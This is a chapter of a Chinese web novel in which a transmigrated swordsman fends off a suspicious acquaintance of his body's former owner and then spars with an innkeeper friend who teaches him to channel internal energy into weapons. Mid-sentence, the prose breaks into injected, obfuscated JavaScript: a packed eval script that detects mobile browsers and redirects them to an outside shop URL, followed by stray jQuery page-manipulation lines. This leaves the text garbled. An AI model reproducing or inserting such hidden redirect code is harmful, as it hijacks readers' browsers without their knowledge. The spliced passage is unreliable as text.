5. 练武

作品:《漫画配角的不平凡日常

    回到客栈,喷香的土豆牛腩就摆在桌上,色泽浓郁,入口咸香软糯,令人食指大动,经历了好一番恶战的两人美美享用了老板留的晚饭。


    饱食一顿后,两人就各自歇息去了。


    洛三秋有些犯困,提起剑拖着步子上了二楼,晃晃悠悠地走到了房门前,正欲开门,伸出去的手却僵在了半路,整个人一激灵,困意全无。


    有人。


    不过这人并没有掩饰自己的呼吸,不一定是敌人。他才来这边一个月,没认识什么人...这是跟原身有关的人找来了?


    洛三秋垂下眼眸,沉思片刻后,径直推门而入。


    屋里,窗边,一个华服公子正抱臂斜倚着。


    他面容俊美,线条多情而风流,一身鸦青螭纹长袍,就算是夜色里也挡不住的华贵。


    明明生得一副翩翩公子的模样,怎么做的却是夜闯民宅的事情,而且穿这件衣服夜行,是生怕自己不够显眼吗,虽然形势不妙,但洛三秋还是忍不住在心里吐槽。


    见洛三秋进来,这人撩起眼皮,皮笑肉不笑地说道:“一个月都没一封信件,信鸽也是一字不回。洛大忙人,你这是在客栈做久了,真拿自己当伙计了啊。”


    还真是认识原身的,就说这几天怎么总是有鸽子停在窗台上,原来是来收信的。原身的事他一概不知,多说一句都可能露馅,那么现在只能…问回去。


    “你来这边做什么?”


    华服公子冷笑一声,直起身子一步步逼近他面前,直视他的眼睛,说:“我来做什么,来给你收尸啊。一个月没有音讯,可不是没了吗?总不能是某人在外边逍遥自在,忘了回信吧。”


    明明嘴上说着愤怒的话语,那双深褐色的眼睛却如同沉静的湖水,没有一丝波澜,冷静地衡量着什么。


    露馅了?


    不对,应该只是怀疑,要冷静。洛三秋毫不回避地正视了回去。


    这公子接着追问:“你这个月,真就只是在这里当个伙计?”


    洛三秋弯起眼睛,避而不谈:“吃喝不愁,挺好的。”


    华服公子眯了眯眼,月光拉长了他的影子,在房中留下了大片的阴影,一种无形的压迫感弥漫在空中,他轻声道:“洛三秋,你以前可不会在意这些身外之物。”


    洛三秋的嘴角渐渐放平,眉眼下压。一直以来,过于柔和干净的气质中和了他面部的攻击性,以至于人们通常忽视了,他有着一副过分冷利的眉眼,沉下来时便会给人以极大的威压感。


    “你在怀疑我?”他冷冷地反问道。


    华服公子顿了一下,没有接话。室内陷入了诡异的沉默,夜晚的丹杨很安静,静到能听见自己的心跳声撞在耳膜上,一下,又一下。


    洛三秋的双指在银月的剑柄上轻轻地敲击,成了寂静的房间里唯一的声响来源。


    半响,华服公子一声轻笑,打破了剑拔弩张的氛围,他举手示弱,“行了,我的错,不该怀疑你。但一个月没消息,于情于理,我都该试试你。”


    他边说边走回窗边,“没事就行,知道你演得好,但可别入戏太深,忘了我们的目的。近些日子九厄会那几个疯子也来了这边,像是在找什么人,听说还碰上了挽灯阁的那群狗皮膏药。”


    说到这,他露出了个幸灾乐祸的表情,“总之,你最近注意着些,若是能把九厄会的目标找出来更好。”


    说完后,他轻盈一跃上了窗沿,身体向下一倒,从窗边消失了。


    “再会。”


    再也不会才好。


    洛三秋紧绷的身体一松,差点以为要动手了,他摸摸后背,才发现已经被冷汗浸湿了。


    这一口气还没舒完。


    那公子突然又翻了回来,笑着做了个写信的手势:“别忘了回信。”


    他再次跳了下去,这次是真的消失在了夜色里,只留下了悠悠的一声。


    “好梦。”


    好梦个鬼啊!


    这人指定有些恶趣味,一句话还非得翻回来说。


    洛三秋走到窗户前,再三确认了这人不会再翻回来,才长长地叹了口气,顺着床沿滑下,呈“大”字瘫倒在了地板上。


    他拿手盖住了眼睛,在心里盘算着。这次算是赌对了,原主飘来的时候身上穿得不便宜,应该是对吃穿住行有些要求的主,刚刚这人就是在诈他。


    尽管这次选对了,但这贵公子明显察觉到了什么,不然最后也不会再这么来一下。这种情况肯定还会再次发生,像是个定时炸弹一样。


    更要命的是,这身体原主的背景看来相当不简单。若是没认错的话,那公子衣服上的纹路应当是螭纹,即使本朝服饰方面相对宽松,这也不是平民百姓能随意穿的,而且这个组织还能一定程度上掌握九厄会的消息。


    地位高,消息灵通,光听就知道,这组织背后的水怕不是深得都能淹死人,而占了原身壳子的他注定要被卷到这个漩涡里,光是想想就麻烦的要命,而且还有个真会要人命的九厄会在暗中候着,他现在的生活看似平静,实则已经走在了钢丝上。


    洛三秋琢磨了半天,也没能想出个解决方法来,最后,他安详地闭上了眼睛。


    吾命休矣。


    …


    翌日,齐安客栈,破损的柜台后。


    “练功?”


    “嗯。”洛三秋点头,他想了想,这一劫他是无论如何都避不过去了,那能做的就只有提升自己的武功,好歹有个逃命的能力。


    “让我想想——”谢七晴一手托住下巴,作思考状,“我个练刀的该怎么教你个练剑的呢?”


    “我是练剑的?”


    “也是,你全忘了。”谢七晴一拍脑门,颇有些无奈。


    “你怎么知道我是练剑的?”洛三秋好奇道。


    “这个简单,武者们用的武器不同,对应的身体姿态也有所不同。除开那些奇门兵器,有些经验的武者一个照面就能认出所用兵器,甚至是武功流派。就拿刀和剑来说吧,来,你把银月拿上。”


    谢七晴左手提刀,右手一拍柜台,潇洒跃起,落在前面的地面上,自信一笑:“瞧好了。”


    他正欲拔刀,好好地炫上一番。


    “喀!”


    脆弱的柜台发出一声轻响。


    洛三秋脸色一变,双手飞速按住柜台两端,“去拿封条!”


    谢七晴潇洒的姿态不在,狼狈地拿着封条加固。


    刚从后厨里出来的苏望舒目睹了这一幕,却坏心眼地不揭穿,扬声逗他们玩:“怎么了吗?”


    洛三秋与谢七晴两人具是身体一震,一前一后,手上死死地扒住柜台,面上却是佯装无事,故作轻松地回话。


    苏望舒逗够了人,施施然走了出去。两人对视一眼,具是松了口气,也不知道是在心虚个什么劲。


    “咱们还是去后院吧,宽敞。”


    “走。”


    他们的意见达到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107691|195820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了空前的一致。


    到了后院,除开一颗桂花树,还有个劈柴用的木桩外,就剩下些路边常见的野花野草,有足够的空间给他们施展拳脚。


    谢七晴摆足了架势,拔刀出鞘。


    这刀,之前对上戴剑常的时候,洛三秋没功夫细看,现在这么一瞧,还真是一柄凶器。


    跟谢七晴身上叮叮铛铛的各种挂饰不同,这刀古朴雄浑,厚背阔刃,毫无花哨之意,其上蜿蜒着朴拙的纹路,更像是一尊古老的钢铁图腾,一把与谢七晴话痨形象全然不符的纯粹的暴力兵器。


    “这次可要瞧好了。”


    谢七晴脚下发力,在泥地上踏出一个浅坑,疾射而来。


    洛三秋回了神,抽剑出鞘,足尖一点,向后飘去,以毫厘之差躲过了这一刀。


    “你这是早想跟我打一场了吧。”


    “嘿!”


    谢七晴咧嘴一笑,再进,一步踏出,刀身回正,大开大阖地携风雷之势横斩而来。


    这个战斗狂,洛三秋无奈一笑,身后是墙,退不了了,他眼神一凝,左脚一踏,凌空跃起,衣袂纷飞,带着长剑在空中划出一道银弧,飞鸟般擦着刀身飞了过去,在谢七晴身后轻巧落了地。


    他手腕一旋,顺势回身刺去。


    谢七晴反应迅速,左掌上运起功力,一击拦停剑刃,同时刀身急停,趁着挡住剑刃的间隙再度劈斩而来。


    洛三秋收剑格挡,但刀剑相触之际,一股迥异于劈斩力道的劲力袭来,逼得他连退数步才稳住身形。


    没能接住,他有些惊讶地看向谢七晴,问道:“这招是什么?”


    谢七晴详细解释起来: “算不上招式,只是一种对内力的运用而已。武者到了二流境界后,内力会充盈全身,而当将内力注入兵器之时,便会多出这股难挡的劲力来。”


    他抬起长刀,缓缓注入内力,包裹兵器。洛三秋新奇地看着这一幕,视野里的兵器并无变化,但却能明显感受到逐渐附在其上的锋芒。


    “就是这样,顶尖之人应当能做到内力随心而动,而这个境界被称为准一流,到了这个境界的武者只要心念通达,前路明晰,就可以晋升一品,当然,能做到这一点的人少之又少。我也只能算是初窥门径,有了准备才能成功,像昨天的情况,就有些力不从心了。”


    洛三秋由衷地赞美了一句:“厉害。”


    谢七晴得意地一扬下巴,接受了称赞,更加有了动力,接着指点道:“还有你那个问题,你瞧瞧,你现在是什么姿势?”


    洛三秋低头看去,侧身而立,长剑斜指向地。


    “我又是什么姿势?”


    正身对敌,下盘扎实。


    “你的虎口?”


    虚虚地圈住剑柄。


    “我的虎口?”


    牢牢贴住。


    原来如此,洛三秋露出了了然的神情。


    谢七晴欣慰地说:“懂了吧,有句俗话说是‘剑走青,刀走黑'',说得极好。两者风格不同,用的架势自然也就不同,即便是忘了,也能从你下意识的姿态中看出你是个练剑的。不过武学之道玄妙,即便武器不同,仍有些共同之处,刚刚内力的使用方法便是其中之一,旁的武功路数我是不敢教,这个却是人人可学,人人必学。过了这一关,方能见到一品的门槛。”


    若是能学会这个的话,肯定是一大助力,洛三秋郑重道:“谢了。”


    谢七晴笑:“小事儿。”